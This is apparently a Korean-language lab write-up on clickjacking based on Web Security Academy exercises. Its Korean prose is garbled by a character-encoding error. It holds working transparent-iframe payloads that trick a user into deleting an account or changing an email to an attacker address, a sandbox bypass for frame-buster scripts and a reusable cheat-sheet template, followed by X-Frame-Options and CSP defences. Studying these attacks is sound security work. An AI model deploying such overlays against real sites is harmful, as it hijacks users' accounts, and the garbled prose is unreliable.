Clickjacking (UI redressing)
๐ What is Clickjacking?
ํด๋ฆญ์ฌํน์ iframe ์์์ CSS๋ฅผ ์ด์ฉํด ํฌ๋ช ํ๊ฒ ๋ง๋ ๊ณต๊ฒฉ ๋์ ์ฌ์ดํธ๋ฅผ ํจ์ ์ฌ์ดํธ์ ์๋ก ๊ฒน์ณ์ ์ฌ์ฉ์๋ ์ ์์ ์ธ ๋ฒํผ์ ํด๋ฆญํ๋ค๊ณ ์๊ฐํ์ง๋ง ๊ณต๊ฒฉ ๋์ ์ฌ์ดํธ๋ฅผ ํด๋ฆญํ๋๋ก ์ ๋ํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๋๋ค.
Basic Clickjacking with CSRF token protection
๊ณ์ ํ์ด์ง์์ Delete account ๋ฒํผ์ Click me ๋ฅผ ์์ฑํ๋ ํด๋ฆญ์ฌํน์ ์ด์ฉํ ์ทจ์ฝ์ ์ ๋๋ค
Delete account ๋ฒํผ ์์น ํ์ธ
iframe์ ์์ฑํ์ฌ click me ๋ฅผ delete ๋ฒํผ์ ์์ฑ
๊ณต๊ฒฉ์ฝ๋์์๋ click me์ delete ๋ฒํผ์ ์์น ๋๊ธฐํ๋ฅผ ์ํด opacity:0.1; ์ ํ์ฌ px์ ์กฐ์ ํ์์ง๋ง ์ค์ ๊ณต๊ฒฉ์์๋ 0 ์ผ๋ก ํ์ฌ iframe ํ์ด์ง๋ฅผ ๋ถํฌ๋ช
์ผ๋ก ํ์ฌ์ผํจ
<style>
iframe {
position:relative;
width:700px;
height: 600px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:500px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://accf1fc41fd13ac2c0044c3100f3000b.web-security-academy.net/my-account"></iframe>
Clickjacking with form input data prefilled from a URL parameter
GET๋ฐฉ์์ผ๋ก ์ด๋ฉ์ผid๋ฅผ ๋ฐ์์ค๋ URL์์ emailํ๋ผ๋ฏธํฐ๋ฅผ ์ด์ฉํ์ฌ email์ ์ ๋ ฅ๊ฐ์ ๋ฏธ๋ฆฌ ๋ฃ์ด์ค ํ Clickjacking์ ์ด์ฉํ๋ ์ทจ์ฝ์ ์ ๋๋ค.
Update email ๋ฒํผ ์์น ํ์ธ
Email ์ ๋ ฅ์นธ์ด ๋น์ด์์ง๋ง URL์์ /my-account?email=hacker@attacker-website.com ์ผ๋ก ์ ๋ ฅ์ ์๋์ผ๋ก Eamil ์ ๋ ฅ์นธ์ด hacker@attacker-website.com์ผ๋ก ์ฑ์์ง๊ฒ ๋ฉ๋๋ค.
<style>
iframe {
position:relative;
width:600px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:70px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://acd01fcb1faafa05c0cd57130086000a.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
click me div ์์ฑ
Clickjacking with a frame buster script
์น๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด ์คํ๋๋ iframe์ ๋ณดํธํ๋ ๊ธฐ๋ฒ์ Javascript, Noscript๋ฅผ ํตํด frame buster ๋๋ ํ๋ ์ ์ฐจ๋จ ๊ธฐ๋ฅ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
frame buster๊ธฐ๋ฅ์ ๋ธ๋ผ์ฐ์ ํ๋ซํผ์ ๋ฐ๋ผ ๋ค๋ฅด์ง๋ง HTML์ ์ ์ฐ์ฑ์ํตํด HTML5 iframe sandbox์์ฑ์ allow-forms ๋๋ aloow-scripts๊ฐ์ ์ฌ์ฉํ์ฌ ์ฌ์ฉํด ๊ณต๊ฒฉ์๊ฐ ์ฐํ๋ฅผ ํ ์ ์์ต๋๋ค.
allow-top-navigation๊ฐ์ ์๋ตํ๋ฉด iframe์ด ์์ ์ฐฝ์ธ์ง ์ฌ๋ถ๋ฅผ ํ์ธํ ์ ์์ผ๋ฏ๋ก frame buster ๋ฅผ ๋ฌดํจํ ์ํฌ ์ ์์ต๋๋ค.
sandbox ์์ฑ๊ฐ
<style>
iframe {
position:relative;
width:700px;
height: 600px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:50px;
z-index: 1;
}
</style>
<div>click me</div>
<iframe sandbox="allow-forms"
src="https://ac871f2e1ef0fd69c0c805440083006f.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
sandbox allow-forms์ด์ฉ
๐ฅ Cheat sheet
-
Basic div exploit
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="$url"></iframe>
-
Bypass frame buster script
<style>
iframe {
position:relative;
width:700px;
height: 600px;
opacity: 0;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:50px;
z-index: 1;
}
</style>
<div>click me</div>
<iframe sandbox="allow-forms"
src="URL"></iframe>
๐ How to Prevent ?
-
X-Frame-Options
X-Frame-Options์ IE8์์ ์ถ๊ฐ๋์ด ๋ค๋ฅธ ๋ธ๋ผ์ฐ์ ๋ค์์๋ ์ฌ์ฉ๋๋ Response Header ์
๋๋ค.
ํค๋๋ ์น์ฌ์ดํธ ์์ ์์๊ฒ iframe ๋๋ ๊ฐ์ฒด์ ์ฌ์ฉ์ ์ ์ดํ ์ ์๋ ๊ถํ์ ์ ๊ณตํฉ๋๋ค.
// Frame์์ ์นํ์ด์ง๋ฅผ ํฌํจํ๋๊ฒ์ ๊ธ์ง
X-Frame-Options: deny
// ์น์ฌ์ดํธ์ ๋์ผํ ์ถ์ฒ๋ง ์ฌ์ฉ ๊ฐ๋ฅ
X-Frame-Options: sameorigin
// ์ง์ ํ ํน์ url๋ง ์ฌ์ฉ ๊ฐ๋ฅ
X-Frame-Options: allow-from https://normal-website.com
X-Frame-Options์ ์ฌ๋ฌ ๋ธ๋ผ์ฐ์ ์์ ์ผ๊ด๋๊ฒ ๊ตฌํ๋์ง ์์ต๋๋ค(allow-from์ Chrome 76๋ฒ์ or Safari12์์๋ ์ง์ํ์ง ์์)
-
CSP (Content-Security-Policy)
์ฝํ ์ธ ๋ณด์ ์ ์ฑ (CSP)์ XSS ๋ฐ ClickJacking๊ณผ ๊ฐ์ ๊ณต๊ฒฉ์ ์๋ฐฉํ๊ธฐ ์ํ ๋ฉ์ปค๋์ฆ ์ ๋๋ค.
Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors normal-website.com;